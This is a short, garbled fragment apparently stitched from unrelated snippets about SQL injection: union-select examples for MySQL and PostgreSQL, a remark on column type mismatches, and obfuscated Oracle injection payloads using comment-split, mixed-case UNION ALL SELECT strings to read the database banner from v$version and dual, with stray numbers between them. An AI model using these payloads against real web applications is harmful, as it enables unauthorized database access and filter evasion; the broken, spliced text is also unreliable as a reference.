Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example: (PostgreSQL): SELECT
...trivial like CHAR(5) vs CHAR(6). It also happens for decimal and double datatypes, and (one of the most annoying) when you put NULL or zero.
Schneider' /**//**/uNiOn/**/AlL /**//**/sElEcT(chr(126)|| ... **/sElEcT banner /**//**/fRoM v$version /**//**/wHeRe banner like 20238. Schneider'+/**//**/uNiOn/**/AlL+/**//**/sElEcT+null+/**//**/fRoM+dual+and+'1'='1 20242.